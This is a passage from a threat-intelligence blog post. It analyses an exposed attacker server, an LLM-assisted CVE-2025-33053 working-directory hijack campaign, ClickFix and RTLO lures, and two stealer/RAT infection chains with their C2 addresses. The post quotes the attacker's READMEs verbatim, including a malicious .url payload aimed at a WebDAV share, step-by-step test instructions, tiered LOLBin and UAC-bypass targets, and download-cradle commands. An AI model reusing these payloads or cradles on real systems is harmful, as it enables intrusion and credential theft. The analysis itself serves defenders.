involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" 